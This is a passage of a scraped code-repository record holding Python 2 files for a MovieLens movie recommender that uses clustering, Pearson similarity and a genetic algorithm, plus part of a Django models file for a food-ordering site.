top_n):\n similarity = []\n for i in range(0, n_users):\n if i+1 != user_id:\n similarity.append(similarity_matrix[user_id-1][i])\n temp = norm()\n temp = np.delete(temp, user_id-1, 0)\n top = [x for (y,x) in sorted(zip(similarity,temp), key=lambda pair: pair[0], reverse=True)]\n s = 0\n c = 0\n for i in range(0, top_n):\n if top[i][i_id-1] != float('Inf'):\n s += top[i][i_id-1]\n c += 1\n g = user[user_id-1].avg_r if c == 0 else s/float(c) + user[user_id-1].avg_r\n if g < 1.0:\n return 1.0\n elif g > 5.0:\n return 5.0\n else:\n return g\n\nutility_copy = np.copy(utility_clustered)\nfor i in range(0, n_users):\n for j in range(0, 19):\n if utility_copy[i][j] == 0:\n sys.stdout.write(\"\\rGuessing [User:Rating] = [%d:%d]\" % (i, j))\n sys.stdout.flush()\n time.sleep(0.0001)\n utility_copy[i][j] = guess(i+1, j+1, 150)\nprint \"\\rGuessing [User:Rating] = [%d:%d]\" % (i, j)\n\n# print utility_copy\n# Utility matrix is an n_users x n_movie_clusters(hybrid genres) matrix where utility_matrix[i][j] = average rating of user i to hybrid genre j\npickle.dump( utility_copy, open(\"utility_matrix.pkl\", \"wb\"))\n\n# Predict ratings for u.test and find the mean squared error\ny_true = []\ny_pred = []\nf = open('test.txt', 'w')\nfor i in range(0, n_users):\n for j in range(0, n_items):\n if test[i][j] > 0:\n f.write(\"%d, %d, %.4f\\n\" % (i+1, j+1, utility_copy[i][cluster.labels_[j]-1]))\n y_true.append(test[i][j])\n y_pred.append(utility_copy[i][cluster.labels_[j]-1])\nf.close()\nprint \"Mean Squared Error: %f\" % mean_squared_error(y_true, y_pred)\n\n\nselected_users = []\nnumber_of_selected_users = 0\nfor i in user:\n if userCluster.labels_[i.id-1] == 0:\n selected_users.append(i)\n number_of_selected_users += 1\n if number_of_selected_users >= SIZE_OF_POPULATION:\n break\n\npopulation = []\nfor selected_user in selected_users:\n print \"The user we dealing with is:\" + str(selected_user.id)\n similarity_list = []\n for i in range(0, n_users):\n if i != selected_user.id:\n similarity_list.append(similarity_utility(selected_user.id, i + 1, utility_copy, user))\n user_index = []\n for i in user:\n user_index.append(i.id - 1)\n del user_index[selected_user.id - 1]\n user_index = np.array(user_index)\n\n top_5 = [x for (y, x) in sorted(zip(similarity_list, user_index), key=lambda pair: pair[0], reverse=True)]\n top_5 = top_5[:5]\n\n top_5_cluster = []\n for i in range(0, 5):\n maxi = 0\n maxe = 0\n for j in range(0, 19):\n if maxe < utility_copy[top_5[i]][j]:\n maxe = utility_copy[top_5[i]][j]\n maxi = j\n top_5_cluster.append(maxi)\n # print top_5_cluster\n\n k = 5\n\n res = {}\n for i in range(len(top_5_cluster)):\n if top_5_cluster[i] not in res.keys():\n res[top_5_cluster[i]] = len(top_5_cluster) - i\n else:\n res[top_5_cluster[i]] += len(top_5_cluster) - i\n\n top_cluster = res.keys()[0]\n movies_in_top_cluster = []\n\n for i in item:\n if cluster.labels_[i.id - 1] == top_cluster:\n movies_in_top_cluster.append(i)\n\n movie_dict = {movie.id: [0, 0, 0, 0, 0] for movie in movies_in_top_cluster}\n for movie in movies_in_top_cluster:\n for j in rating:\n if j.user_id in top_5 and j.item_id == movie.id:\n movie_dict[movie.id][j.rating - 1] += 1\n\n recommended_movies = None\n movie_sums = []\n for movie in movie_dict:\n total = 0\n for i, j in zip(range(0, CHROMOSOME_SIZE), movie_dict[movie]):\n total += i * j\n movie_sums.append(total)\n recommended_movies = sorted(zip(movie_dict.keys(), movie_sums), key=lambda x: x[1], reverse=True)\n\n chromosome = Chromosome()\n for i in item:\n if i.id in [recommended_movies[k][0] for k in range(CHROMOSOME_SIZE)]:\n chromosome.append(i)\n chromosome.setUID(selected_user.id)\n population.append(chromosome)\n\na = 0.75\nd = 0.25\ng = 50\nc = 0.1\nm = 0.1\nm = GA_model(population, c, m, len(item))\nm.compute_fitness(utility_copy, cluster, a, d)\n\nfor i in range(g):\n if i == 0:\n temp = copy.deepcopy(m)\n else:\n if (sum(temp.fitness) / float(len(temp.fitness))) >= (sum(m.fitness) / float(len(m.fitness))):\n m = copy.deepcopy(temp)\n else:\n temp = copy.deepcopy(m)\n\n m.roulette_selection()\n m.cross_over()\n m.mutation()\n m.compute_fitness(utility_copy, cluster, a, d)\n # print m.fitness\n\nmaximum_fit = max(m.fitness)\nfor idx, fit in enumerate(m.fitness):\n if fit == maximum_fit:\n break\nbest_fit_chromosome = population[idx]\n\nprint \"Evaluating...\"\nfor movie in best_fit_chromosome:\n avg = []\n for r in rating:\n if userCluster.labels_[r.user_id-1] == 0 and movie.id == r.item_id:\n avg.append(((float(r.rating) - user[r.user_id-1].min_r)/(user[r.user_id-1].max_r - user[r.user_id-1].min_r))*4.0 + 1.0 )\n\n average_rating = 0\n if not avg:\n average_rating = 0\n else:\n average_rating = sum(avg)/float(len(avg))\n\n with open(\"recommendation_userCluster.txt\", \"a\") as fp:\n csvfile = csv.writer(fp)\n temp = [movie.id, movie.title, average_rating, len(avg)]\n temp.extend(avg)\n csvfile.writerow(temp)\n print movie.id, movie.title, len(avg), avg, average_rating\n\n\n\"\"\"\n# 1. Iterate through users to get `S` users from a cluster\n2. Compute generes he might like\n3. Do GA on it till convergence for the population with fitness of accuracy and diversity\n\nA-metric:\n Ideally, the user will love our recommendations and rate it all 5\n So, as a measure of a-metric we guess how much the user will like it, ie to guess the ratings\n See, this guessing is a part of our recomendation engine, so is GA.\n So, it is alright to use this metric as we are interested in multiobjective optimisation not in evaluating the system\n\n To evaluate the system we should use some other metrics\n\n\"\"\"\n"
},
{
"alpha_fraction": 0.5820074677467346,
"alphanum_fraction": 0.5988535284996033,
"avg_line_length": 32.13178253173828,
"blob_id": "da21a975a5f44d00bdd3a575e1935e1a20c35a67",
"content_id": "98b8e02962239abbec0c695ab10368b4d02ea4a3",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8548,
"license_type": "permissive",
"max_line_length": 142,
"num_lines": 258,
"path": "/Modular_UI.py",
"repo_name": "RishabRanga/Movie-Recommender-GA-",
"src_encoding": "UTF-8",
"text": "from movielens import *\n\nimport numpy as np\nimport pickle\nimport easygui\nimport random\nimport os.path\n\nNO_OF_RECOMMENDATIONS = 10\nRECIPROCAL_RANKING_THRESHOLD = 3\n\ndef load_from_dataset(utility_matrix):\n user = []\n item = []\n ratings = []\n d = Dataset()\n d.load_users(\"data/u.user\", user)\n d.load_items(\"data/u.item\", item)\n d.load_ratings(\"data/u.base\", ratings)\n movie_genre = []\n for movie in item:\n movie_genre.append([movie.unknown, movie.action, movie.adventure, movie.animation, movie.childrens, movie.comedy,\n movie.crime, movie.documentary, movie.drama, movie.fantasy, movie.film_noir, movie.horror,\n movie.musical, movie.mystery, movie.romance, movie.sci_fi, movie.thriller, movie.war, movie.western])\n movie_genre = np.array(movie_genre)\n\n # Find the average rating for each user and stores it in the user's object\n for i in range(0, len(user)):\n x = utility_matrix[i]\n user[i].avg_r = sum(a for a in x if a > 0) / sum(a > 0 for a in x)\n\n return user, item, movie_genre, ratings\n\ndef pcs(x, y, ut, user):\n num = 0\n den1 = 0\n den2 = 0\n A = ut[x - 1]\n B = ut[y - 1]\n num = sum((a - user[x - 1].avg_r) * (b - user[y - 1].avg_r) for a, b in zip(A, B) if a > 0 and b > 0)\n den1 = sum((a - user[x - 1].avg_r) ** 2 for a in A if a > 0)\n den2 = sum((b - user[y - 1].avg_r) ** 2 for b in B if b > 0)\n den = (den1 ** 0.5) * (den2 ** 0.5)\n if den == 0:\n return 0\n else:\n return num / den\n\n\ndef pop_movies(movies, movie_clusters):\n\n\ttop_movies = []\n\n\twith open(\"avg_rating.pkl\", \"r\") as fp:\n\t\tavg_rating = pickle.load(fp)\n\n\tfor movie, rating, cluster in zip(movies, avg_rating, movie_clusters.labels_):\n\n\t\t# Threshold for average is low due to sparse dataset\n\t\tif rating > 0.1:\n\t\t\ttop_movies.append(movie)\n\treturn random.sample(top_movies, 100)\n\n\ndef update_recommendations(stored_rating, new_rating, alpha):\n\t# Update the average rating to include information abour latest preference\n # Alpha determines relative importance\n\tupdated_rating = (alpha-1) * stored_rating + alpha * new_rating\n\treturn updated_rating\n\ndef recomm_main(utility_matrix, avg_ratings, demographics, pcs_matrix):\n user, item, movie_genre, ratings = load_from_dataset(utility_matrix)\n n_users = len(user)\n n_items = len(item)\n\n with open(\"cluster.pkl\", \"r\") as fp:\n cluster = pickle.load(fp)\n\n ask = pop_movies(item, cluster)\n\n print \"Please rate the following movies (1-5):\\nFill in 0 if you have not seen it:\"\n k=0\n for movie in ask:\n print movie.title + \": \"\n a = int(input())\n if a==0:\n continue\n if avg_ratings[cluster.labels_[movie.id - 1]] != 0:\n # avg_ratings[cluster.labels_[movie.id - 1]] = (avg_ratings[cluster.labels_[movie.id - 1]] + a) / 2\n avg_ratings[cluster.labels_[movie.id - 1]] = update_recommendations(avg_ratings[cluster.labels_[movie.id - 1]], a, 0.5)\n else:\n avg_ratings[cluster.labels_[movie.id - 1]] = a\n k = k+1\n if k == 10:\n break\n\n utility_new = np.vstack((utility_matrix, avg_ratings))\n\n user.append(demographics)\n\n print \"Finding users which have similar preferences.\"\n for i in range(0, n_users + 1):\n if i != 943:\n pcs_matrix[i] = pcs(944, i + 1, utility_new, user)\n user_index = []\n for i in user:\n user_index.append(i.id - 1)\n user_index = user_index[:943]\n user_index = np.array(user_index)\n\n top_similar = [x for (y, x) in sorted(zip(pcs_matrix, user_index), key=lambda pair: pair[0], reverse=True)]\n top_5 = top_similar[:5]\n\n top_5_cluster = []\n\n for i in range(0, 5):\n maxi = 0\n maxe = 0\n for j in range(0, 19):\n if maxe < utility_matrix[top_5[i]][j]:\n maxe = utility_matrix[top_5[i]][j]\n maxi = j\n top_5_cluster.append(maxi)\n #print top_5_cluster\n\n res = {}\n for i in range(len(top_5_cluster)):\n if top_5_cluster[i] not in res.keys():\n res[top_5_cluster[i]] = len(top_5_cluster) - i\n else:\n res[top_5_cluster[i]] += len(top_5_cluster) - i\n\n top_cluster = res.keys()[0]\n movies_in_top_cluster = []\n\n for i in item:\n if cluster.labels_[i.id - 1] == top_cluster:\n movies_in_top_cluster.append(i)\n\n movie_dict = {movie.id: [0, 0, 0, 0, 0] for movie in movies_in_top_cluster}\n for movie in movies_in_top_cluster:\n for j in ratings:\n if j.user_id in top_5 and j.item_id == movie.id:\n movie_dict[movie.id][j.rating - 1] += 1\n\n recommended_movies = None\n movie_sums = []\n for movie in movie_dict:\n total = 0\n for i, j in zip(range(0, NO_OF_RECOMMENDATIONS), movie_dict[movie]):\n total += i * j\n movie_sums.append(total)\n recommended_movies = sorted(zip(movie_dict.keys(), movie_sums), key=lambda x: x[1], reverse=True)# print recommended_movies[:5]\n final_recommendations=[]\n for i in item:\n if i.id in [recommended_movies[k][0] for k in range(NO_OF_RECOMMENDATIONS)]:\n final_recommendations.append(i)\n print i.title\n return (avg_ratings, demographics, pcs_matrix, final_recommendations)\n\ndef rate_recomm(utility_matrix, avg_ratings, demographics, pcs_matrix, recommendations):\n with open(\"cluster.pkl\", \"r\") as fp:\n cluster = pickle.load(fp)\n user, item, movie_genre, ratings = load_from_dataset(utility_matrix)\n user.append(demographics)\n n_users = len(user)\n n_items = len(item)\n c = 0\n rel_idx = -1\n idx = 1\n pending_recom=[]\n for i in recommendations:\n print i.title\n r = input(\"Enter your rating, if you've not seen the movie provide 0\\n\")\n if r==0:\n pending_recom.append(i)\n continue\n if r>3.5:\n c+=1\n if rel_idx == -1:\n rel_idx = idx\n avg_ratings[cluster.labels_[i.id - 1]] = (avg_ratings[cluster.labels_[i.id - 1]] + r) / 2\n idx += 1\n reciprocal_ranking = 0\n\n if rel_idx <= RECIPROCAL_RANKING_THRESHOLD and rel_idx != -1:\n reciprocal_ranking = 1.0/(rel_idx)\n\n print \"Precision of predictions : \",c/float(len(recommendations))\n print \"Reciprocal Ranking : \", reciprocal_ranking\n for i in range(0, n_users):\n if i!=943:\n utility_new = np.vstack((utility_matrix, avg_ratings))\n pcs_matrix[i] = pcs(944, i + 1, utility_new, user)\n return avg_ratings, pcs_matrix, pending_recom\n\ndef UI_main():\n username=raw_input(\"\\nEnter username\\n\")\n if os.path.exists(username + \".pkl\"):\n print \"Old User\"\n flag=True\n o=pickle.load(open(username+\".pkl\", \"rb\"))\n avg_ratings=o.avg_ratings\n demographics=o.demographics\n pcs_matrix=o.pcs\n recommendations=o.recommendations\n else:\n print \"New User\"\n flag=False\n age = input(\"Enter your age: \")\n gender = raw_input(\"M/F: \")\n pin = input(\"Enter pincode: \")\n profession = easygui.choicebox(msg=\"Select your profession\",choices=[\"administrator\",\n\"artist\",\n\"doctor\",\n\"educator\",\n\"engineer\",\n\"entertainment\",\n\"executive\",\n\"healthcare\",\n\"homemaker\",\n\"lawyer\",\n\"librarian\",\n\"marketing\",\n\"none\",\n\"other\",\n\"programmer\",\n\"retired\",\n\"salesman\",\n\"scientist\",\n\"student\",\n\"technician\",\n\"writer\",]\n)\n avg_ratings = np.zeros(19)\n demographics= User(944, age, profession, pin, gender)\n pcs_matrix = np.zeros(943)\n recommendations=[]\n utility_matrix = pickle.load(open(\"utility_matrix.pkl\", \"rb\"))\n while(True):\n ch=input(\"\\nEnter:\\n 1 for getting recommendations\\n 2 for rating past recommendations\\n 3 to exit\\n\")\n if int(ch)==1:\n avg_ratings, demographics, pcs_matrix, recommendations = recomm_main(utility_matrix, avg_ratings, demographics,pcs_matrix)\n elif int(ch)==2:\n if recommendations:\n # avg_ratings, pcs_matrix = rate_recomm(utility_matrix, avg_ratings, demographics, pcs_matrix, recommendations)\n avg_ratings, pcs_matrix, recommendations = rate_recomm(utility_matrix, avg_ratings, demographics, pcs_matrix, recommendations)\n\n else:\n print \"Please get more recommendations\"\n else:\n break\n\n pickle.dump(NewUser(username, avg_ratings, demographics, pcs_matrix, recommendations), open(username+\".pkl\", \"wb\"))\n\n\nif __name__==\"__main__\":\n UI_main()\n"
},
{
"alpha_fraction": 0.5748175382614136,
"alphanum_fraction": 0.5835360884666443,
"avg_line_length": 33.25,
"blob_id": "5905f0035b549e66c23d7fe5a10d2447489e75ac",
"content_id": "aec246637c1dca7e472fe63268ed89fa859710c9",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4932,
"license_type": "permissive",
"max_line_length": 139,
"num_lines": 144,
"path": "/ga_movie.py",
"repo_name": "RishabRanga/Movie-Recommender-GA-",
"src_encoding": "UTF-8",
"text": "import copy\nimport sys\nimport random\nimport itertools\n\nimport numpy as np\n\nfrom movielens import *\n\ndef get_movie_genres():\n # Load the movie lens dataset into arrays\n d = Dataset()\n item = []\n movie_genre = []\n d.load_items(\"data/u.item\", item)\n for movie in item:\n movie_genre.append(\n [movie.unknown, movie.action, movie.adventure, movie.animation, movie.childrens, movie.comedy,\n movie.crime, movie.documentary, movie.drama, movie.fantasy, movie.film_noir, movie.horror,\n movie.musical, movie.mystery, movie.romance, movie.sci_fi, movie.thriller, movie.war, movie.western])\n return movie_genre\n\n\nclass Chromosome(list):\n def __init__(self, *args):\n list.__init__(self, *args)\n self.uid = None\n def setUID(self, uid):\n self.uid = uid\n\nclass GA_model(object):\n def __init__(self, population, cross_over_rate, mutation_rate, no_of_parameters):\n \"\"\"\n :param population:\n :param cross_over_rate:\n :param mutation_rate:\n :param no_of_parameters:\n \"\"\"\n self.cross_over_rate = cross_over_rate\n self.mutation_rate = mutation_rate\n self.no_of_parameters = no_of_parameters\n self.population = population\n self.pop_size = len(population)\n self.chromo_size = len(self.population[0])\n self.fitness = [0] * self.pop_size\n self.movie_genre = get_movie_genres()\n\n\n def fitness_fun(self, chromosome, utility_matrix, cluster, a_weight=0.6, d_weight=0.4):\n \"\"\"\n Calculate the fitness of each chromosome\n :param chromosome:\n :param utility_matrix:\n :param cluster:\n :param d_weight:\n :param a_weight:\n :return weighted average of accuracy and diversity scores\n \"\"\"\n\n # Accuracy\n uid = chromosome.uid\n a_score = 0 # a score out of 25\n for gene in chromosome:\n a_score += utility_matrix[uid - 1][cluster.labels_[gene.id - 1]]\n a_score /= 5*len(chromosome)\n\n # Diversity\n n_different_movie_genres = sum(1 if a>0 else 0 for a in reduce(np.add,[self.movie_genre[gene.id - 1] for gene in chromosome]))\n d_score = n_different_movie_genres / float(19)\n\n # Weighted score\n score = (a_weight*(a_score) + d_weight*(d_score)) / ( 2 * (a_weight+d_weight) )\n\n return score\n\n\n def compute_fitness(self, utility_matrix, cluster, a_weight, d_weight):\n \"\"\"\n\n :param utility_matrix:\n :param cluster:\n :return:\n \"\"\"\n for i in range(self.pop_size):\n self.fitness[i] = self.fitness_fun(self.population[i], utility_matrix, cluster, a_weight, d_weight)\n\n if max(self.fitness) == 1:\n print \"Done, features are - \", self.population[self.fitness.index(min(self.fitness))]\n sys.exit()\n\n\n def roulette_selection(self):\n probability = []\n total_fitness = sum(self.fitness)\n\n # Individual probability\n for chromo_fit in self.fitness:\n probability.append(float(chromo_fit / total_fitness))\n\n # Cumulative Probability\n for i in range(1, self.pop_size):\n probability[i] += probability[i-1]\n\n updated_population = copy.deepcopy(self.population)\n\n for i in range(self.pop_size):\n r = random.random()\n\n if r < probability[0]:\n updated_population[i] = self.population[0]\n else:\n for j in range(1, self.pop_size):\n if r >= probability[j-1] and r < probability[j]:\n updated_population[i] = self.population[j]\n break\n self.population = updated_population\n\n\n def cross_over(self):\n # Choose some chromosomes\n selected = []\n for i in range(self.pop_size):\n if random.random() < self.cross_over_rate:\n selected.append(i)\n random.shuffle(self.population)\n for chromo1,chromo2 in itertools.combinations(selected, 2):\n for i in range(0, len(self.population[chromo1])):\n if self.population[chromo1][i] != self.population[chromo2][i]:\n if random.choice([True, False]):\n self.population[chromo1][i], self.population[chromo2][i] = self.population[chromo2][i], self.population[chromo1][i]\n\n\n def mutation(self):\n total_genes = self.pop_size * self.chromo_size\n item = []\n d = Dataset()\n d.load_items(\"data/u.item\", item)\n for i in range(int(self.mutation_rate * total_genes)):\n chromo = random.randint(0, self.pop_size - 1)\n gene = random.randint(0, self.chromo_size - 1)\n\n update = random.randint(0, self.no_of_parameters - 1)\n if update not in self.population[chromo]:\n self.population[chromo][gene] = item[update]\n"
},
{
"alpha_fraction": 0.5749585628509521,
"alphanum_fraction": 0.5965044498443604,
"avg_line_length": 30.014019012451172,
"blob_id": "4d3126c3f708a6647e38f5e3bbdcef06e0d14892",
"content_id": "733861e6b8ece82039e18bc62e5d45963728e8fd",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6637,
"license_type": "permissive",
"max_line_length": 143,
"num_lines": 214,
"path": "/recommender.py",
"repo_name": "RishabRanga/Movie-Recommender-GA-",
"src_encoding": "UTF-8",
"text": "\"\"\"\nClustering and stuff\n\"\"\"\nfrom movielens import *\n\nimport sys\nimport time\nimport math\nimport re\nimport pickle\n\nimport numpy as np\n\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.preprocessing import LabelEncoder\n\n# Store data in arrays\nuser = []\nitem = []\nrating = []\nrating_test = []\n\n# Load the movie lens dataset into arrays\nd = Dataset()\nd.load_users(\"data/u.user\", user)\nd.load_items(\"data/u.item\", item)\nd.load_ratings(\"data/u.base\", rating)\nd.load_ratings(\"data/u.test\", rating_test)\n\nn_users = len(user)\nn_items = len(item)\n\n# The utility matrix stores the rating for each user-item pair in the\n# matrix form.\nutility = np.zeros((n_users, n_items))\nfor r in rating:\n utility[r.user_id - 1][r.item_id - 1] = r.rating\n\n\ntest = np.zeros((n_users, n_items))\nfor r in rating_test:\n test[r.user_id - 1][r.item_id - 1] = r.rating\n\navg_ratings = np.asarray(utility).mean(0)\n# print avg_ratings\nwith open(\"avg_rating.pkl\", \"w\") as fp:\n pickle.dump(avg_ratings, fp)\n\n# Perform clustering on items\nmovie_genre = []\nfor movie in item:\n movie_genre.append([movie.unknown, movie.action, movie.adventure, movie.animation, movie.childrens, movie.comedy,\n movie.crime, movie.documentary, movie.drama, movie.fantasy, movie.film_noir, movie.horror,\n movie.musical, movie.mystery, movie.romance, movie.sci_fi, movie.thriller, movie.war, movie.western])\n\nmovie_genre = np.array(movie_genre)\ncluster = KMeans(n_clusters=19)\ncluster.fit_predict(movie_genre)\nwith open(\"cluster.pkl\", \"w\") as fp:\n pickle.dump(cluster, fp)\n\nutility_clustered = []\nfor i in range(0, n_users):\n average = np.zeros(19)\n tmp = []\n for m in range(0, 19):\n tmp.append([])\n for j in range(0, n_items):\n if utility[i][j] != 0:\n tmp[cluster.labels_[j] - 1].append(utility[i][j])\n for m in range(0, 19):\n if len(tmp[m]) != 0:\n average[m] = np.mean(tmp[m])\n else:\n average[m] = 0\n utility_clustered.append(average)\n\nutility_clustered = np.array(utility_clustered)\n\n# Find the average rating for each user and stores it in the user's object\nfor i in range(0, n_users):\n x = utility_clustered[i]\n user[i].avg_r = sum(a for a in x if a > 0) / sum(a > 0 for a in x)\n\n# Find the Pearson Correlation Similarity Measure between two users\ndef pcs(x, y):\n num = 0\n den1 = 0\n den2 = 0\n A = utility_clustered[x - 1]\n B = utility_clustered[y - 1]\n num = sum((a - user[x - 1].avg_r) * (b - user[y - 1].avg_r) for a, b in zip(A, B) if a > 0 and b > 0)\n den1 = sum((a - user[x - 1].avg_r) ** 2 for a in A if a > 0)\n den2 = sum((b - user[y - 1].avg_r) ** 2 for b in B if b > 0)\n den = (den1 ** 0.5) * (den2 ** 0.5)\n if den == 0:\n return 0\n else:\n return num / den\n\nuserData=[]\nfor i in user:\n userData.append([i.id, i.sex, i.age, i.occupation, i.zip])\n\nle=LabelEncoder()\nle.fit([a[3] for a in userData])\nle2=LabelEncoder()\nle2.fit([a[1] for a in userData])\nle3=LabelEncoder()\nle3.fit([a[4] for a in userData])\n\nuserData=[]\nfor i in user:\n userData.append([i.id, int(le2.transform([i.sex])), i.age, int(le.transform([i.occupation])), int(le3.transform([i.zip]))])\n\n\nuserCluster = KMeans(n_clusters=4)\nuserCluster.fit_predict(userData)\n\nfor i in range(n_users):\n userCluster.labels_[i]\n\n#print len(userCluster.labels_)\n\npcs_matrix = np.zeros((n_users, n_users))\ns=time.time()\nfor i in range(0, n_users):\n for j in range(0, n_users):\n if userCluster.labels_[i]!=userCluster.labels_[j]:\n pcs_matrix[i][j]=0\n continue\n if i!=j:\n pcs_matrix[i][j] = pcs(i + 1, j + 1)\n sys.stdout.write(\"\\rGenerating Similarity Matrix [%d:%d] = %f\" % (i+1, j+1, pcs_matrix[i][j]))\n sys.stdout.flush()\n time.sleep(0.00005)\nprint \"\\rGenerating Similarity Matrix [%d:%d] = %f\" % (i+1, j+1, pcs_matrix[i][j])\nprint time.time()-s\n\"\"\"\npcs_matrix = np.zeros((n_users, n_users))\ns=time.time()\nfor i in range(0, n_users):\n for j in range(0, n_users):\n if i!=j:\n pcs_matrix[i][j] = pcs(i + 1, j + 1)\n sys.stdout.write(\"\\rGenerating Similarity Matrix [%d:%d] = %f\" % (i+1, j+1, pcs_matrix[i][j]))\n sys.stdout.flush()\n time.sleep(0.00005)\nprint \"\\rGenerating Similarity Matrix [%d:%d] = %f\" % (i+1, j+1, pcs_matrix[i][j])\nprint time.time()-s\n#print pcs_matrix\n\"\"\"\n# Guesses the ratings that user with id, user_id, might give to item with id, i_id.\n# We will consider the top_n similar users to do this.\ndef norm():\n normalize = np.zeros((n_users, 19))\n for i in range(0, n_users):\n for j in range(0, 19):\n if utility_clustered[i][j] != 0:\n normalize[i][j] = utility_clustered[i][j] - user[i].avg_r\n else:\n normalize[i][j] = float('Inf')\n return normalize\n\ndef guess(user_id, i_id, top_n):\n similarity = []\n for i in range(0, n_users):\n if i+1 != user_id:\n similarity.append(pcs_matrix[user_id-1][i])\n temp = norm()\n temp = np.delete(temp, user_id-1, 0)\n top = [x for (y,x) in sorted(zip(similarity,temp), key=lambda pair: pair[0], reverse=True)]\n s = 0\n c = 0\n for i in range(0, top_n):\n if top[i][i_id-1] != float('Inf'):\n s += top[i][i_id-1]\n c += 1\n g = user[user_id-1].avg_r if c == 0 else s/float(c) + user[user_id-1].avg_r\n if g < 1.0:\n return 1.0\n elif g > 5.0:\n return 5.0\n else:\n return g\n\nutility_copy = np.copy(utility_clustered)\nfor i in range(0, n_users):\n for j in range(0, 19):\n if utility_copy[i][j] == 0:\n sys.stdout.write(\"\\rGuessing [User:Rating] = [%d:%d]\" % (i, j))\n sys.stdout.flush()\n time.sleep(0.0001)\n utility_copy[i][j] = guess(i+1, j+1, 150)\nprint \"\\rGuessing [User:Rating] = [%d:%d]\" % (i, j)\n\nprint utility_copy\n# Utility matrix is an n_users x n_movie_clusters(hybrid genres) matrix where utility_matrix[i][j] = average rating of user i to hybrid genre j\npickle.dump( utility_copy, open(\"utility_matrix.pkl\", \"wb\"))\n\n# Predict ratings for u.test and find the mean squared error\ny_true = []\ny_pred = []\nf = open('test.txt', 'w')\nfor i in range(0, n_users):\n for j in range(0, n_items):\n if test[i][j] > 0:\n f.write(\"%d, %d, %.4f\\n\" % (i+1, j+1, utility_copy[i][cluster.labels_[j]-1]))\n y_true.append(test[i][j])\n y_pred.append(utility_copy[i][cluster.labels_[j]-1])\nf.close()\n\nprint \"Mean Squared Error: %f\" % mean_squared_error(y_true, y_pred)\n"
}
] | 5 |
erlanenazarov/koko_backend | https://github.com/erlanenazarov/koko_backend | 8a38b448e05848b410df8411ead6a04e4f7538fe | 5bffaba98ef70a8a74e3aa5e404122127a559d90 | c3a541f08616d4c589d4dee780eeb1877d5aee04 | refs/heads/master | 2020-06-20T04:37:30.794096 | 2018-06-17T11:23:32 | 2018-06-17T11:23:32 | 74,882,581 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6655374765396118,
"alphanum_fraction": 0.6772809624671936,
"avg_line_length": 34.42399978637695,
"blob_id": "575f593f2351be8224245321aca45ac8cbc1e6f3",
"content_id": "203d976c0f6672141f572e404417439715ae61c5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4796,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 125,
"path": "/koko_models/models.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\nfrom __future__ import unicode_literals\n\nfrom django.db import models\n\n\n# Create your models here.\n\n\nclass MainProduct(models.Model):\n class Meta:\n db_table = 'main_product'\n verbose_name = u'Курочка'\n verbose_name_plural = u'Курицы'\n\n title = models.CharField(max_length=255, verbose_name=u'Наименование')\n description = models.TextField(max_length=100, verbose_name=u'Описание')\n sizes = models.ManyToManyField('ProductSizes', verbose_name=u'Объёмы')\n preview = models.ImageField(upload_to='main_products', verbose_name=u'Изображение')\n\n def __unicode__(self):\n return self.title\n\n\nclass ProductSizes(models.Model):\n class Meta:\n db_table = 'product_sizes'\n verbose_name = u'Объём',\n verbose_name_plural = u'Объёмы'\n\n title = models.CharField(max_length=255, verbose_name=u'Наименование')\n price = models.IntegerField(verbose_name=u'Цена за объём')\n\n def __unicode__(self):\n return self.title + 'г - ' + str(self.price) + ' сом'\n\n\nclass PotatoProduct(models.Model):\n class Meta:\n db_table = 'potato_product'\n verbose_name = u'Картофель'\n verbose_name_plural = u'Картофели'\n\n title = models.CharField(max_length=255, verbose_name=u'Наименование')\n description = models.TextField(max_length=100, verbose_name=u'Описание')\n sizes = models.ManyToManyField('ProductSizes', verbose_name=u'Объёмы')\n preview = models.ImageField(upload_to='potato_products', verbose_name=u'Изображение')\n\n def __unicode__(self):\n return self.title\n\n\nclass SaladeProduct(models.Model):\n class Meta:\n db_table = 'salade_product'\n verbose_name_plural = 'Салаты'\n verbose_name = 'Салат'\n\n title = models.CharField(verbose_name='Название', max_length=255, unique=False, null=False)\n description = models.TextField(verbose_name='Описание', null=False)\n preview = models.ImageField(verbose_name='Изображение', upload_to='salade_products', null=False)\n price = models.IntegerField(verbose_name='Цена', null=False)\n\n def __unicode__(self):\n return self.title\n\n\nclass DrinkingProduct(models.Model):\n class Meta:\n db_table = 'drinking_product'\n verbose_name_plural = 'Напитки'\n verbose_name = 'Напиток'\n\n title = models.CharField(verbose_name='Название', max_length=255, unique=False, null=False)\n description = models.TextField(verbose_name='Описание', null=False)\n preview = models.ImageField(verbose_name='Изображение', upload_to='drinking_products', null=False)\n price = models.IntegerField(verbose_name='Цена', null=False)\n\n def __unicode__(self):\n return self.title\n\n\nclass Order(models.Model):\n class Meta:\n verbose_name_plural = 'Заказы'\n verbose_name = 'Заказ'\n\n name = models.CharField(verbose_name='Имя', max_length=500, unique=False, null=False)\n address = models.CharField(verbose_name='Адрес', max_length=500, unique=False, null=False)\n phone = models.CharField(verbose_name='Телефон', max_length=255, unique=False, null=False)\n orders = models.TextField(verbose_name='Элементы заказа', null=False)\n delivered = models.BooleanField(verbose_name='Доставлено?', default=False)\n accepted = models.BooleanField(verbose_name='Принято?', default=False)\n score = models.FloatField(verbose_name='Итого', null=False, default=0)\n\n def orders_html(self):\n return self.orders\n\n orders_html.short_description = 'Элементы заказа'\n orders_html.allow_tags = True\n\n def __unicode__(self):\n return '%s - %s' % (self.name, self.phone)\n\n\nclass Contacts(models.Model):\n class Meta:\n db_table = 'contacts'\n verbose_name = 'Контакты'\n verbose_name_plural = 'Контакты'\n\n phone_number = models.CharField(max_length=255, verbose_name='Номер телефона')\n additional_phone_number = models.CharField(max_length=255, verbose_name='Запасной номер телефона', null=True,\n blank=True)\n email = models.EmailField(verbose_name='Эл. почта')\n address = models.CharField(max_length=255, verbose_name='Адрес')\n time_of_work = models.CharField(max_length=255, verbose_name='Chasy raboty', default='10:00 - 22:00')\n\n def __unicode__(self):\n return 